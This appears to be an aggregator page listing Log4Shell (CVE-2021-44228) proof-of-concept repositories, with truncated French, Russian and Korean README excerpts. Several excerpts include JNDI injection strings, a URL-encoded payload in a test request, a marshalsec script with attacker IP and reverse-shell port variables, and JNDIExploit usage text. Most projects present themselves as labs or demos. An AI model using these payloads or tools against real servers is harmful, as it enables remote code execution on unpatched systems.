CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Preuve de concept Les fonctionnalités JNDI d'Apache Log4j2 =2.14.1 utilisées dans la configuration, les messages de journalisation et les paramètres ne protègent pas contre les points de terminaison LDAP contrôlés par un attaquant ni contre d'autres points de terminaison...

log4j-cve-2021-44228

Log4j CVE-2021-44228 et CVE-2021-45046 Prérequis Utilisez un JDK vulnérable, par exemple JDK 1.8.0181 Utilisation Serveur malveillant Le serveur malveillant déploie les points de terminaison suivants : 1389 serveur LDAP 1099 serveur RMI 8081 serveur HTTP ./gradlew :malicious-server:bootRun...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Пример удаленного внедрения кода с использованием CVE-2021-44228 через RMI и LDAP. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit Запуск RmiServer...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Preuve de concept de la vulnérabilité de recherche LDAP d'apache log4j Vous pouvez en savoir plus sur la vulnérabilité ici : https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ Comment exécuter le serveur ldap fourni qui renvoie un objet...

CVE-2021-44228

CVE-2021-44228 checker Это репозиторий для проверки уязвимости CVE-2021-44228. Это PoC, который только отображает строки без загрузки внешних классов. Он не может быть использован для произвольного выполнения кода. Как это работает? Шаг 1: Запустите серверное приложение Образ...

log4j2-CVE-2021-44228

Пример уязвимого приложения Log4j2 CVE-2021-44228 Затронутые версии: все версии с 2.0-beta9 по 2.14.1 Это приложение основано на веб-приложении Spring Boot, уязвимом к CVE-2021-44228. Оно использует Log4j 2.14.1 через spring-boot-starter-log4j2 2.6.1. Запуск приложения Запустите его: Import the...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – JNDI-инъекция в стиле Log4j в пользовательском логгере имитация Программный код имитация Java на Python log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for...

homelab-CVE-2021-44228

Homelab : Log4Shell CVE-2021-44228 dans Apache Solr Environnement contrôlé dans Docker pour reproduire et étudier la vulnérabilité Log4Shell dans Apache Solr. L'Environnement Cible solr-lab : Apache Solr v8.11.0 vulhub/solr:8.11.0 exécutant une version vulnérable de Log4j. Attaquant kali-lab :...

log4j2-test

Уязвимость удаленного выполнения кода Log4j2 2.14.1 LDAP CVE-2021-44228 - проверка 🎈 Тестировалось в среде Spring Boot 2.x Уведомление об уязвимости https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Версия Log4j2 понижена до уязвимой версии 17 2.14.1 LoggingController :...

log4shell

Log4Shell Этот проект является демонстрацией работы уязвимости безопасности log4shell. Данная уязвимость описана в CVE-2021-44228. Проект предназначен исключительно для образовательных целей. Его следует использовать только на собственной системе и только в экспериментальных целях. Любое выполнен...

log4j-vul

log4j-vul Ce projet vise simplement à montrer la vulnérabilité Apache Log4j2 - aussi connue sous CVE-2021-44228 Java: java version "1.8.0121" Compilation: depuis le dossier src javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Exécution: depuis le...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Простая программа для демонстрации того, как можно эксплуатировать уязвимость Log4j CVE-2021-44228 Запуск демонстрации : Чтобы запустить программу, просто выполните start.sh в UNIX-системах или start.bat в Windows. Вводимые пользователем данные будут прочитаны и записаны в...

CVE-2021-44228

Log4Shell: Доказательство концепции Этот репозиторий содержит доказательство концепции PoC для уязвимости CVE-2021-44228. Он основан на этом репозитории. В этом репозитории представлен пример уязвимого приложения и демонстрация того, как его эксплуатировать. Компоненты доказательства концепции Я...

log4j2-issue-check

Log4Shell: RCE 0-day 이슈 평가 이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다. 자세한 내용 https://www.lunasec.io/docs/blog/log4j-zero-day/ 테스트 방법 쿼리 매개변수로 $jndi:ldap://127.0.0.1:3089/를 포함한 GET 요청을 보냅니다. http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 위 요청을...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228Apache Log4j Exécution de code à distance） Versions concernées: toutes les versions de 2.0-beta9 à 2.12.1 et de 2.13.0 à 2.15.0 Avis de sécurité / bulletins liés à Log4Shell CVE-2021-44228 Utilisation: 1. Téléchargez ce projet, compilez InjectClazz.java download git clone...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- Test d'intrusion 1. Créer un serveur LDAP malveillant utiliser Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "...

test-44228

test-44228 Простой пример для CVE-2021-44228 Реализует два CLI на Java: один с использованием log4j v1.x, другой с использованием log4j 2.x для демонстрации уязвимости Log4Shell. См. также: https://www.lunasec.io/docs/blog/log4j-zero-day/...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: пример запуска fork-бомбы на удаленном сервере благодаря уязвимости CVE-2021-44228 1. Создаем LDAP сервер атакующего модуль server, который будет выдавать представления строк и кода модуль payload 2. Создаем пример жертвы модуль victim и передаем...

log4shell-exploitation-lab

Лабораторная работа по эксплуатации Log4Shell CVE-2021-44228 Воспроизвёл уязвимость Log4Shell от начала до конца в изолированной лабораторной среде — от первоначальной эксплуатации до полного отчёта по устранению. Выполнено как парная часть магистерской курсовой работы вместе с Адитьей Чаудхари,...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Détails : CVE-2021-44228 Utilisation : ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage Show...